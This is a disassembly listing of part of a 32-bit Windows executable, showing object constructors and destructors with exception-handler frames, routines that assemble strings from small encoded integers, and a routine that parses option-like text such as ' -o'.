		lea	ecx, [esp+47Ch+var_450]
		call	sub_401A9B
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_403591


loc_4035E7:				; CODE XREF: sub_4034E0+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_4034E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036B0	proc near		; CODE XREF: sub_401681j
		mov	eax, [ecx+9]
		retn
sub_4036B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4036D0	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4036D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_402207
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_402207
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_402207
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_402207
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_402207
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_402207
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_402207
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_402207
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_402207
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_402207
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_402207
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_402207
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_402207
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_402207
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_402207
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_402207
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_402207
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_402207
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_402207
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_402207
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_402207
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_402207
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_402207
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_402207
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_402207
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_402207
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_402207
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_402207
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_402207
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_402207
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_402207
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_402207
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_402207
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401749
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401749
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401749
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401749
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401749
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401749
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401749
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401749
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401749
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401749
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401749
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401749
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401749
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401749
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401749
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401749
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401749
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4036D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C00	proc near		; CODE XREF: sub_401023j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C70	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E004
		retn
sub_403C70	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C90	proc near		; CODE XREF: sub_402207j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C90	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D10	proc near		; CODE XREF: sub_401AD2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D10	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D90	proc near		; CODE XREF: sub_401749j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403E00	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403E00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_402207
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_402207
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_402207
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_402207
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_402207
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_402207
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_402207
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_402207
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EE0	proc near		; CODE XREF: sub_40206Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AD2
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403FC0	proc near		; CODE XREF: sub_401D34j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403FC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_403FC0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017E4
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017E4
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017E4
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017E4
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017E4
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017E4
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017E4
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CE20E85Ch, 4E8DFFFFh, 0D3D6E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDC09E8h, 8C483FFh, 256A006Ah, 236A1D6Ah
		dd 3424548Dh, 0C752286Ah, 0E742444h, 0E8000000h, 0FFFFD57Dh
		dd 8B18C483h, 244C8DE8h, 2444C60Ch, 99E80F5Ch, 50FFFFD3h
		dd 91E8CD8Bh, 50FFFFD3h, 4435F468h, 60B56800h, 0A8E8004Dh
		dd 83FFFFD9h, 4C8D10C4h, 44C62424h, 0E80E5C24h,	0FFFFCDB2h
		dd 448D206Ah, 6A4024h, 244C8D50h, 0CE2CE818h, 0C88BFFFFh
		dd 5C2444C6h, 0D352E810h, 6850FFFFh, 4435F0h, 4E6E8568h
		dd 0CB8BE800h, 0C483FFFFh, 2444C60Ch, 4C8D0E5Ch, 73E83C24h
		dd 0E8FFFFCDh, 23BC3F8h, 0B8C88B90h, 10624DD3h,	0EAC1E1F7h
		dd 244C8D06h, 556890Ch,	5C247C89h, 0FFCD51E8h, 244C8BFFh
		dd 5D5E5F54h, 0D8964h, 83000000h, 90C354C4h, 2 dup(90909090h)
		dd 54h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_404640	proc near		; CODE XREF: sub_401A32j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_40146F
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404682
		push	ebx
		jmp	short loc_404686
; ---------------------------------------------------------------------------


loc_404682:				; CODE XREF: sub_404640+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404686:				; CODE XREF: sub_404640+40j
		mov	ecx, edi
		call	sub_401FBE
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_4046A2
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FBE


loc_4046A2:				; CODE XREF: sub_404640+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_40471F
		lea	ecx, [esp+98h+var_6C]
		call	sub_401424
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013E3
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_40471F:				; CODE XREF: sub_404640+6Aj
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E2E
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FBE
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_40146F
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_40146F
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049EA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40480F
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jz	short loc_40480F
		mov	bl, 1
		jmp	short loc_404811
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_404640+1A6j
					; sub_404640+1C9j
		xor	bl, bl


loc_404811:				; CODE XREF: sub_404640+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_4049CE
		push	offset asc_443600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049EA
		push	offset asc_443600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049EA
		push	20h
		mov	ecx, esi
		call	sub_401D20
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E2E
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D20
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40200E
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FBE
		push	offset asc_443600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E2E
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_4049A7
		test	ebp, ebp
		jle	short loc_4049B8


loc_404998:				; CODE XREF: sub_404640+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F69
